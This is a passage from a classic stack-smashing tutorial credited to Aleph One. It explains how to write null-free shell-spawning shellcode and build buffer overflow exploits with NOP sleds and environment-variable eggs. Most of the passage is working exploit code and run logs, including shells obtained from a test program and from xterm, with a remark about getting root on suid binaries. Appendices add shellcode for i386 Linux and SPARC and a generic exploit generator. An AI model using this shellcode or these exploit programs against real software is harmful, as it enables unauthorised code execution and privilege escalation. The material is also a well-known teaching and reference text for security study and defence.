  807. ret = (int *)&ret + 2;
  808. (*ret) = (int)shellcode;
  809.  
  810. }
  811. ------------------------------------------------------------------------------
  812. ------------------------------------------------------------------------------
  813. [aleph1]$ gcc -o testsc testsc.c
  814. [aleph1]$ ./testsc
  815. $ exit
  816. [aleph1]$
  817. ------------------------------------------------------------------------------
  818.  
  819. It works! But there is an obstacle. In most cases we'll be trying to
  820. overflow a character buffer. As such any null bytes in our shellcode will be
  821. considered the end of the string, and the copy will be terminated. There must
  822. be no null bytes in the shellcode for the exploit to work. Let's try to
  823. eliminate the bytes (and at the same time make it smaller).
  824.  
  825. Problem instruction: Substitute with:
  826. --------------------------------------------------------
  827. movb $0x0,0x7(%esi) xorl %eax,%eax
  828. molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
  829. movl %eax,0xc(%esi)
  830. --------------------------------------------------------
  831. movl $0xb,%eax movb $0xb,%al
  832. --------------------------------------------------------
  833. movl $0x1, %eax xorl %ebx,%ebx
  834. movl $0x0, %ebx movl %ebx,%eax
  835. inc %eax
  836. --------------------------------------------------------
  837.  
  838. Our improved code:
  839.  
  840. shellcodeasm2.c
  841. ------------------------------------------------------------------------------
  842. void main() {
  843. __asm__("
  844. jmp 0x1f # 2 bytes
  845. popl %esi # 1 byte
  846. movl %esi,0x8(%esi) # 3 bytes
  847. xorl %eax,%eax # 2 bytes
  848. movb %eax,0x7(%esi) # 3 bytes
  849. movl %eax,0xc(%esi) # 3 bytes
  850. movb $0xb,%al # 2 bytes
  851. movl %esi,%ebx # 2 bytes
  852. leal 0x8(%esi),%ecx # 3 bytes
  853. leal 0xc(%esi),%edx # 3 bytes
  854. int $0x80 # 2 bytes
  855. xorl %ebx,%ebx # 2 bytes
  856. movl %ebx,%eax # 2 bytes
  857. inc %eax # 1 bytes
  858. int $0x80 # 2 bytes
  859. call -0x24 # 5 bytes
  860. .string \"/bin/sh\" # 8 bytes
  861. # 46 bytes total
  862. ");
  863. }
  864. ------------------------------------------------------------------------------
  865.  
  866. And our new test program:
  867.  
  868. testsc2.c
  869. ------------------------------------------------------------------------------
  870. char shellcode[] =
  871. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  872. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  873. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  874.  
  875. void main() {
  876. int *ret;
  877.  
  878. ret = (int *)&ret + 2;
  879. (*ret) = (int)shellcode;
  880.  
  881. }
  882. ------------------------------------------------------------------------------
  883. ------------------------------------------------------------------------------
  884. [aleph1]$ gcc -o testsc2 testsc2.c
  885. [aleph1]$ ./testsc2
  886. $ exit
  887. [aleph1]$
  888. ------------------------------------------------------------------------------
  889.  
  890.  
  891. Writing an Exploit
  892. ~~~~~~~~~~~~~~~~~~
  893. (or how to mung the stack)
  894. ~~~~~~~~~~~~~~~~~~~~~~~~~~
  895.  
  896.  
  897. Lets try to pull all our pieces together. We have the shellcode. We know
  898. it must be part of the string which we'll use to overflow the buffer. We
  899. know we must point the return address back into the buffer. This example will
  900. demonstrate these points:
  901.  
  902. overflow1.c
  903. ------------------------------------------------------------------------------
  904. char shellcode[] =
  905. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  906. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  907. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  908.  
  909. char large_string[128];
  910.  
  911. void main() {
  912. char buffer[96];
  913. int i;
  914. long *long_ptr = (long *) large_string;
  915.  
  916. for (i = 0; i < 32; i++)
  917. *(long_ptr + i) = (int) buffer;
  918.  
  919. for (i = 0; i < strlen(shellcode); i++)
  920. large_string[i] = shellcode[i];
  921.  
  922. strcpy(buffer,large_string);
  923. }
  924. ------------------------------------------------------------------------------
  925.  
  926. ------------------------------------------------------------------------------
  927. [aleph1]$ gcc -o exploit1 exploit1.c
  928. [aleph1]$ ./exploit1
  929. $ exit
  930. exit
  931. [aleph1]$
  932. ------------------------------------------------------------------------------
  933.  
  934. What we have done above is filled the array large_string[] with the
  935. address of buffer[], which is where our code will be. Then we copy our
  936. shellcode into the beginning of the large_string string. strcpy() will then
  937. copy large_string onto buffer without doing any bounds checking, and will
  938. overflow the return address, overwriting it with the address where our code
  939. is now located. Once we reach the end of main and it tried to return it
  940. jumps to our code, and execs a shell.
  941.  
  942. The problem we are faced when trying to overflow the buffer of another
  943. program is trying to figure out at what address the buffer (and thus our
  944. code) will be. The answer is that for every program the stack will
  945. start at the same address. Most programs do not push more than a few hundred
  946. or a few thousand bytes into the stack at any one time. Therefore by knowing
  947. where the stack starts we can try to guess where the buffer we are trying to
  948. overflow will be. Here is a little program that will print its stack
  949. pointer:
  950.  
  951. sp.c
  952. ------------------------------------------------------------------------------
  953. unsigned long get_sp(void) {
  954. __asm__("movl %esp,%eax");
  955. }
  956. void main() {
  957. printf("0x%x\n", get_sp());
  958. }
  959. ------------------------------------------------------------------------------
  960.  
  961. ------------------------------------------------------------------------------
  962. [aleph1]$ ./sp
  963. 0x8000470
  964. [aleph1]$
  965. ------------------------------------------------------------------------------
  966.  
  967. Lets assume this is the program we are trying to overflow is:
  968.  
  969. vulnerable.c
  970. ------------------------------------------------------------------------------
  971. void main(int argc, char *argv[]) {
  972. char buffer[512];
  973.  
  974. if (argc > 1)
  975. strcpy(buffer,argv[1]);
  976. }
  977. ------------------------------------------------------------------------------
  978.  
  979. We can create a program that takes as a parameter a buffer size, and an
  980. offset from its own stack pointer (where we believe the buffer we want to
  981. overflow may live). We'll put the overflow string in an environment variable
  982. so it is easy to manipulate:
  983.  
  984. exploit2.c
  985. ------------------------------------------------------------------------------
  986. #include <stdlib.h>
  987.  
  988. #define DEFAULT_OFFSET 0
  989. #define DEFAULT_BUFFER_SIZE 512
  990.  
  991. char shellcode[] =
  992. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  993. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  994. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  995.  
  996. unsigned long get_sp(void) {
  997. __asm__("movl %esp,%eax");
  998. }
  999.  
  1000. void main(int argc, char *argv[]) {
  1001. char *buff, *ptr;
  1002. long *addr_ptr, addr;
  1003. int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1004. int i;
  1005.  
  1006. if (argc > 1) bsize = atoi(argv[1]);
  1007. if (argc > 2) offset = atoi(argv[2]);
  1008.  
  1009. if (!(buff = malloc(bsize))) {
  1010. printf("Can't allocate memory.\n");
  1011. exit(0);
  1012. }
  1013.  
  1014. addr = get_sp() - offset;
  1015. printf("Using address: 0x%x\n", addr);
  1016.  
  1017. ptr = buff;
  1018. addr_ptr = (long *) ptr;
  1019. for (i = 0; i < bsize; i+=4)
  1020. *(addr_ptr++) = addr;
  1021.  
  1022. ptr += 4;
  1023. for (i = 0; i < strlen(shellcode); i++)
  1024. *(ptr++) = shellcode[i];
  1025.  
  1026. buff[bsize - 1] = '\0';
  1027.  
  1028. memcpy(buff,"EGG=",4);
  1029. putenv(buff);
  1030. system("/bin/bash");
  1031. }
  1032. ------------------------------------------------------------------------------
  1033.  
  1034. Now we can try to guess what the buffer and offset should be:
  1035.  
  1036. ------------------------------------------------------------------------------
  1037. [aleph1]$ ./exploit2 500
  1038. Using address: 0xbffffdb4
  1039. [aleph1]$ ./vulnerable $EGG
  1040. [aleph1]$ exit
  1041. [aleph1]$ ./exploit2 600
  1042. Using address: 0xbffffdb4
  1043. [aleph1]$ ./vulnerable $EGG
  1044. Illegal instruction
  1045. [aleph1]$ exit
  1046. [aleph1]$ ./exploit2 600 100
  1047. Using address: 0xbffffd4c
  1048. [aleph1]$ ./vulnerable $EGG
  1049. Segmentation fault
  1050. [aleph1]$ exit
  1051. [aleph1]$ ./exploit2 600 200
  1052. Using address: 0xbffffce8
  1053. [aleph1]$ ./vulnerable $EGG
  1054. Segmentation fault
  1055. [aleph1]$ exit
  1056. .
  1057. .
  1058. .
  1059. [aleph1]$ ./exploit2 600 1564
  1060. Using address: 0xbffff794
  1061. [aleph1]$ ./vulnerable $EGG
  1062. $
  1063. ------------------------------------------------------------------------------
  1064.  
  1065. As we can see this is not an efficient process. Trying to guess the
  1066. offset even while knowing where the beginning of the stack lives is nearly
  1067. impossible. We would need at best a hundred tries, and at worst a couple of
  1068. thousand. The problem is we need to guess *exactly* where the address of our
  1069. code will start. If we are off by one byte more or less we will just get a
  1070. segmentation violation or a invalid instruction. One way to increase our
  1071. chances is to pad the front of our overflow buffer with NOP instructions.
  1072. Almost all processors have a NOP instruction that performs a null operation.
  1073. It is usually used to delay execution for purposes of timing. We will take
  1074. advantage of it and fill half of our overflow buffer with them. We will place
  1075. our shellcode at the center, and then follow it with the return addresses. If
  1076. we are lucky and the return address points anywhere in the string of NOPs,
  1077. they will just get executed until they reach our code. In the Intel
  1078. architecture the NOP instruction is one byte long and it translates to 0x90
  1079. in machine code. Assuming the stack starts at address 0xFF, that S stands for
  1080. shell code, and that N stands for a NOP instruction the new stack would look
  1081. like this:
  1082.  
  1083. bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
  1084. memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
  1085. buffer sfp ret a b c
  1086.  
  1087. <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
  1088. ^ |
  1089. |_____________________|
  1090. top of bottom of
  1091. stack stack
  1092.  
  1093. The new exploits is then:
  1094.  
  1095. exploit3.c
  1096. ------------------------------------------------------------------------------
  1097. #include <stdlib.h>
  1098.  
  1099. #define DEFAULT_OFFSET 0
  1100. #define DEFAULT_BUFFER_SIZE 512
  1101. #define NOP 0x90
  1102.  
  1103. char shellcode[] =
  1104. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1105. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1106. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  1107.  
  1108. unsigned long get_sp(void) {
  1109. __asm__("movl %esp,%eax");
  1110. }
  1111.  
  1112. void main(int argc, char *argv[]) {
  1113. char *buff, *ptr;
  1114. long *addr_ptr, addr;
  1115. int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1116. int i;
  1117.  
  1118. if (argc > 1) bsize = atoi(argv[1]);
  1119. if (argc > 2) offset = atoi(argv[2]);
  1120.  
  1121. if (!(buff = malloc(bsize))) {
  1122. printf("Can't allocate memory.\n");
  1123. exit(0);
  1124. }
  1125.  
  1126. addr = get_sp() - offset;
  1127. printf("Using address: 0x%x\n", addr);
  1128.  
  1129. ptr = buff;
  1130. addr_ptr = (long *) ptr;
  1131. for (i = 0; i < bsize; i+=4)
  1132. *(addr_ptr++) = addr;
  1133.  
  1134. for (i = 0; i < bsize/2; i++)
  1135. buff[i] = NOP;
  1136.  
  1137. ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  1138. for (i = 0; i < strlen(shellcode); i++)
  1139. *(ptr++) = shellcode[i];
  1140.  
  1141. buff[bsize - 1] = '\0';
  1142.  
  1143. memcpy(buff,"EGG=",4);
  1144. putenv(buff);
  1145. system("/bin/bash");
  1146. }
  1147. ------------------------------------------------------------------------------
  1148.  
  1149. A good selection for our buffer size is about 100 bytes more than the size
  1150. of the buffer we are trying to overflow. This will place our code at the end
  1151. of the buffer we are trying to overflow, giving a lot of space for the NOPs,
  1152. but still overwriting the return address with the address we guessed. The
  1153. buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's
  1154. try to overflow our test program with our new exploit:
  1155.  
  1156. ------------------------------------------------------------------------------
  1157. [aleph1]$ ./exploit3 612
  1158. Using address: 0xbffffdb4
  1159. [aleph1]$ ./vulnerable $EGG
  1160. $
  1161. ------------------------------------------------------------------------------
  1162.  
  1163. Whoa! First try! This change has improved our chances a hundredfold.
  1164. Let's try it now on a real case of a buffer overflow. We'll use for our
  1165. demonstration the buffer overflow on the Xt library. For our example, we'll
  1166. use xterm (all programs linked with the Xt library are vulnerable). You must
  1167. be running an X server and allow connections to it from the localhost. Set
  1168. your DISPLAY variable accordingly.
  1169.  
  1170. ------------------------------------------------------------------------------
  1171. [aleph1]$ export DISPLAY=:0.0
  1172. [aleph1]$ ./exploit3 1124
  1173. Using address: 0xbffffdb4
  1174. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  1175. Warning: Color name "�^1�FF
  1176. �V
  1177.  
  1178. �1��@������/bin/sh���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1179.  
  1180.  
  1181.  
  1182.  
  1183.  
  1184.  
  1185.  
  1186.  
  1187. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1188.  
  1189.  
  1190.  
  1191.  
  1192.  
  1193.  
  1194.  
  1195.  
  1196. ��������������������������������������������������������������
  1197. ^C
  1198. [aleph1]$ exit
  1199. [aleph1]$ ./exploit3 2148 100
  1200. Using address: 0xbffffd48
  1201. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  1202. Warning: Color name "�^1�FF
  1203. �V
  1204.  
  1205. �1��@������/bin/sh���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H�
  1206.  
  1207.  
  1208.  
  1209.  
  1210.  
  1211.  
  1212.  
  1213.  
  1214. ��H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H
  1215.  
  1216.  
  1217.  
  1218.  
  1219.  
  1220.  
  1221.  
  1222.  
  1223. ���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���
  1224.  
  1225.  
  1226.  
  1227.  
  1228.  
  1229.  
  1230.  
  1231.  
  1232. H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H���H��
  1233.  
  1234.  
  1235.  
  1236.  
  1237.  
  1238.  
  1239.  
  1240.  
  1241. �H���H���H���H���H���H���H���H���H���H���H���H��
  1242. Warning: some arguments in previous message were lost
  1243. Illegal instruction
  1244. [aleph1]$ exit
  1245. .
  1246. .
  1247. .
  1248. [aleph1]$ ./exploit4 2148 600
  1249. Using address: 0xbffffb54
  1250. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  1251. Warning: Color name "�^1�FF
  1252. �V
  1253.  
  1254. �1��@������/bin/sh���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T�
  1255.  
  1256.  
  1257.  
  1258.  
  1259.  
  1260.  
  1261.  
  1262.  
  1263. ��T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T
  1264.  
  1265.  
  1266.  
  1267.  
  1268.  
  1269.  
  1270.  
  1271.  
  1272. ���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���
  1273.  
  1274.  
  1275.  
  1276.  
  1277.  
  1278.  
  1279.  
  1280.  
  1281. T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T���T��
  1282.  
  1283.  
  1284.  
  1285.  
  1286.  
  1287.  
  1288.  
  1289.  
  1290. �T���T���T���T���T���T���T���T���T���T���T���T��
  1291. Warning: some arguments in previous message were lost
  1292. bash$
  1293. ------------------------------------------------------------------------------
  1294.  
  1295. Eureka! Less than a dozen tries and we found the magic numbers. If xterm
  1296. where installed suid root this would now be a root shell.
  1297.  
  1298.  
  1299. Small Buffer Overflows
  1300. ~~~~~~~~~~~~~~~~~~~~~~
  1301.  
  1302. There will be times when the buffer you are trying to overflow is so
  1303. small that either the shellcode wont fit into it, and it will overwrite the
  1304. return address with instructions instead of the address of our code, or the
  1305. number of NOPs you can pad the front of the string with is so small that the
  1306. chances of guessing their address is minuscule. To obtain a shell from these
  1307. programs we will have to go about it another way. This particular approach
  1308. only works when you have access to the program's environment variables.
  1309.  
  1310. What we will do is place our shellcode in an environment variable, and
  1311. then overflow the buffer with the address of this variable in memory. This
  1312. method also increases your changes of the exploit working as you can make
  1313. the environment variable holding the shell code as large as you want.
  1314.  
  1315. The environment variables are stored in the top of the stack when the
  1316. program is started, any modification by setenv() are then allocated
  1317. elsewhere. The stack at the beginning then looks like this:
  1318.  
  1319.  
  1320. <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
  1321.  
  1322. Our new program will take an extra variable, the size of the variable
  1323. containing the shellcode and NOPs. Our new exploit now looks like this:
  1324.  
  1325. exploit4.c
  1326. ------------------------------------------------------------------------------
  1327. #include <stdlib.h>
  1328.  
  1329. #define DEFAULT_OFFSET 0
  1330. #define DEFAULT_BUFFER_SIZE 512
  1331. #define DEFAULT_EGG_SIZE 2048
  1332. #define NOP 0x90
  1333.  
  1334. char shellcode[] =
  1335. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1336. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1337. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  1338.  
  1339. unsigned long get_esp(void) {
  1340. __asm__("movl %esp,%eax");
  1341. }
  1342.  
  1343. void main(int argc, char *argv[]) {
  1344. char *buff, *ptr, *egg;
  1345. long *addr_ptr, addr;
  1346. int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1347. int i, eggsize=DEFAULT_EGG_SIZE;
  1348.  
  1349. if (argc > 1) bsize = atoi(argv[1]);
  1350. if (argc > 2) offset = atoi(argv[2]);
  1351. if (argc > 3) eggsize = atoi(argv[3]);
  1352.  
  1353.  
  1354. if (!(buff = malloc(bsize))) {
  1355. printf("Can't allocate memory.\n");
  1356. exit(0);
  1357. }
  1358. if (!(egg = malloc(eggsize))) {
  1359. printf("Can't allocate memory.\n");
  1360. exit(0);
  1361. }
  1362.  
  1363. addr = get_esp() - offset;
  1364. printf("Using address: 0x%x\n", addr);
  1365.  
  1366. ptr = buff;
  1367. addr_ptr = (long *) ptr;
  1368. for (i = 0; i < bsize; i+=4)
  1369. *(addr_ptr++) = addr;
  1370.  
  1371. ptr = egg;
  1372. for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  1373. *(ptr++) = NOP;
  1374.  
  1375. for (i = 0; i < strlen(shellcode); i++)
  1376. *(ptr++) = shellcode[i];
  1377.  
  1378. buff[bsize - 1] = '\0';
  1379. egg[eggsize - 1] = '\0';
  1380.  
  1381. memcpy(egg,"EGG=",4);
  1382. putenv(egg);
  1383. memcpy(buff,"RET=",4);
  1384. putenv(buff);
  1385. system("/bin/bash");
  1386. }
  1387. ------------------------------------------------------------------------------
  1388.  
  1389. Lets try our new exploit with our vulnerable test program:
  1390.  
  1391. ------------------------------------------------------------------------------
  1392. [aleph1]$ ./exploit4 768
  1393. Using address: 0xbffffdb0
  1394. [aleph1]$ ./vulnerable $RET
  1395. $
  1396. ------------------------------------------------------------------------------
  1397.  
  1398. Works like a charm. Now lets try it on xterm:
  1399.  
  1400. ------------------------------------------------------------------------------
  1401. [aleph1]$ export DISPLAY=:0.0
  1402. [aleph1]$ ./exploit4 2148
  1403. Using address: 0xbffffdb0
  1404. [aleph1]$ /usr/X11R6/bin/xterm -fg $RET
  1405. Warning: Color name
  1406. "��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1407.  
  1408.  
  1409.  
  1410.  
  1411.  
  1412.  
  1413.  
  1414.  
  1415. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1416.  
  1417.  
  1418.  
  1419.  
  1420.  
  1421.  
  1422.  
  1423.  
  1424. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1425.  
  1426.  
  1427.  
  1428.  
  1429.  
  1430.  
  1431.  
  1432.  
  1433. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1434.  
  1435.  
  1436.  
  1437.  
  1438.  
  1439.  
  1440.  
  1441.  
  1442. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1443.  
  1444.  
  1445.  
  1446.  
  1447.  
  1448.  
  1449.  
  1450.  
  1451. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1452.  
  1453.  
  1454.  
  1455.  
  1456.  
  1457.  
  1458.  
  1459.  
  1460. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1461.  
  1462.  
  1463.  
  1464.  
  1465.  
  1466.  
  1467.  
  1468.  
  1469. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1470.  
  1471.  
  1472.  
  1473.  
  1474.  
  1475.  
  1476.  
  1477.  
  1478. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1479.  
  1480.  
  1481.  
  1482.  
  1483.  
  1484.  
  1485.  
  1486.  
  1487. ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
  1488.  
  1489.  
  1490.  
  1491.  
  1492.  
  1493.  
  1494.  
  1495.  
  1496. ����������
  1497. Warning: some arguments in previous message were lost
  1498. $
  1499. ------------------------------------------------------------------------------
  1500.  
  1501. On the first try! It has certainly increased our odds. Depending how
  1502. much environment data the exploit program has compared with the program
  1503. you are trying to exploit the guessed address may be to low or to high.
  1504. Experiment both with positive and negative offsets.
  1505.  
  1506.  
  1507. Finding Buffer Overflows
  1508. ~~~~~~~~~~~~~~~~~~~~~~~~
  1509.  
  1510. As stated earlier, buffer overflows are the result of stuffing more
  1511. information into a buffer than it is meant to hold. Since C does not have any
  1512. built-in bounds checking, overflows often manifest themselves as writing past
  1513. the end of a character array. The standard C library provides a number of
  1514. functions for copying or appending strings, that perform no boundary checking.
  1515. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions
  1516. operate on null-terminated strings, and do not check for overflow of the
  1517. receiving string. gets() is a function that reads a line from stdin into
  1518. a buffer until either a terminating newline or EOF. It performs no checks for
  1519. buffer overflows. The scanf() family of functions can also be a problem if
  1520. you are matching a sequence of non-white-space characters (%s), or matching a
  1521. non-empty sequence of characters from a specified set (%[]), and the array
  1522. pointed to by the char pointer, is not large enough to accept the whole
  1523. sequence of characters, and you have not defined the optional maximum field
  1524. width. If the target of any of these functions is a buffer of static size,
  1525. and its other argument was somehow derived from user input there is a good
  1526. posibility that you might be able to exploit a buffer overflow.
  1527.  
  1528. Another usual programming construct we find is the use of a while loop to
  1529. read one character at a time into a buffer from stdin or some file until the
  1530. end of line, end of file, or some other delimiter is reached. This type of
  1531. construct usually uses one of these functions: getc(), fgetc(), or getchar().
  1532. If there is no explicit checks for overflows in the while loop, such programs
  1533. are easily exploited.
  1534.  
  1535. To conclude, grep(1) is your friend. The sources for free operating
  1536. systems and their utilities is readily available. This fact becomes quite
  1537. interesting once you realize that many comercial operating systems utilities
  1538. where derived from the same sources as the free ones. Use the source d00d.
  1539.  
  1540.  
  1541. Appendix A - Shellcode for Different Operating Systems/Architectures
  1542. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1543.  
  1544. i386/Linux
  1545. ------------------------------------------------------------------------------
  1546. jmp 0x1f
  1547. popl %esi
  1548. movl %esi,0x8(%esi)
  1549. xorl %eax,%eax
  1550. movb %eax,0x7(%esi)
  1551. movl %eax,0xc(%esi)
  1552. movb $0xb,%al
  1553. movl %esi,%ebx
  1554. leal 0x8(%esi),%ecx
  1555. leal 0xc(%esi),%edx
  1556. int $0x80
  1557. xorl %ebx,%ebx
  1558. movl %ebx,%eax
  1559. inc %eax
  1560. int $0x80
  1561. call -0x24
  1562. .string \"/bin/sh\"
  1563. ------------------------------------------------------------------------------
  1564.  
  1565. SPARC/Solaris
  1566. ------------------------------------------------------------------------------
  1567. sethi 0xbd89a, %l6
  1568. or %l6, 0x16e, %l6
  1569. sethi 0xbdcda, %l7
  1570. and %sp, %sp, %o0
  1571. add %sp, 8, %o1
  1572. xor %o2, %o2, %o2
  1573. add %sp, 16, %sp
  1574. std %l6, [%sp - 16]
  1575. st %sp, [%sp - 8]
  1576. st %g0, [%sp - 4]
  1577. mov 0x3b, %g1
  1578. ta 8
  1579. xor %o7, %o7, %o0
  1580. mov 1, %g1
  1581. ta 8
  1582. ------------------------------------------------------------------------------
  1583.  
  1584. SPARC/SunOS
  1585. ------------------------------------------------------------------------------
  1586. sethi 0xbd89a, %l6
  1587. or %l6, 0x16e, %l6
  1588. sethi 0xbdcda, %l7
  1589. and %sp, %sp, %o0
  1590. add %sp, 8, %o1
  1591. xor %o2, %o2, %o2
  1592. add %sp, 16, %sp
  1593. std %l6, [%sp - 16]
  1594. st %sp, [%sp - 8]
  1595. st %g0, [%sp - 4]
  1596. mov 0x3b, %g1
  1597. mov -0x1, %l5
  1598. ta %l5 + 1
  1599. xor %o7, %o7, %o0
  1600. mov 1, %g1
  1601. ta %l5 + 1
  1602. ------------------------------------------------------------------------------
  1603.  
  1604.  
  1605. Appendix B - Generic Buffer Overflow Program
  1606. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1607.  
  1608. shellcode.h
  1609. ------------------------------------------------------------------------------
  1610. #if defined(__i386__) && defined(__linux__)
  1611.  
  1612. #define NOP_SIZE 1
  1613. char nop[] = "\x90";
  1614. char shellcode[] =
  1615. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1616. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1617. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  1618.  
  1619. unsigned long get_sp(void) {
  1620. __asm__("movl %esp,%eax");
  1621. }
  1622.  
  1623. #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
  1624.  
  1625. #define NOP_SIZE 4
  1626. char nop[]="\xac\x15\xa1\x6e";
  1627. char shellcode[] =
  1628. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  1629. "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  1630. "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  1631. "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
  1632.  
  1633. unsigned long get_sp(void) {
  1634. __asm__("or %sp, %sp, %i0");
  1635. }
  1636.  
  1637. #elif defined(__sparc__) && defined(__sun__)
  1638.  
  1639. #define NOP_SIZE 4
  1640. char nop[]="\xac\x15\xa1\x6e";
  1641. char shellcode[] =
  1642. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  1643. "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  1644. "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  1645. "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
  1646.  
  1647. unsigned long get_sp(void) {
  1648. __asm__("or %sp, %sp, %i0");
  1649. }
  1650.  
  1651. #endif
  1652. ------------------------------------------------------------------------------
  1653.  
  1654. eggshell.c
  1655. ------------------------------------------------------------------------------
  1656. /*
  1657. * eggshell v1.0
  1658. *
  1659. * Aleph One / aleph1@underground.org
  1660. */
  1661. #include <stdlib.h>
  1662. #include <stdio.h>
  1663. #include "shellcode.h"
  1664.  
  1665. #define DEFAULT_OFFSET 0
  1666. #define DEFAULT_BUFFER_SIZE 512
  1667. #define DEFAULT_EGG_SIZE 2048
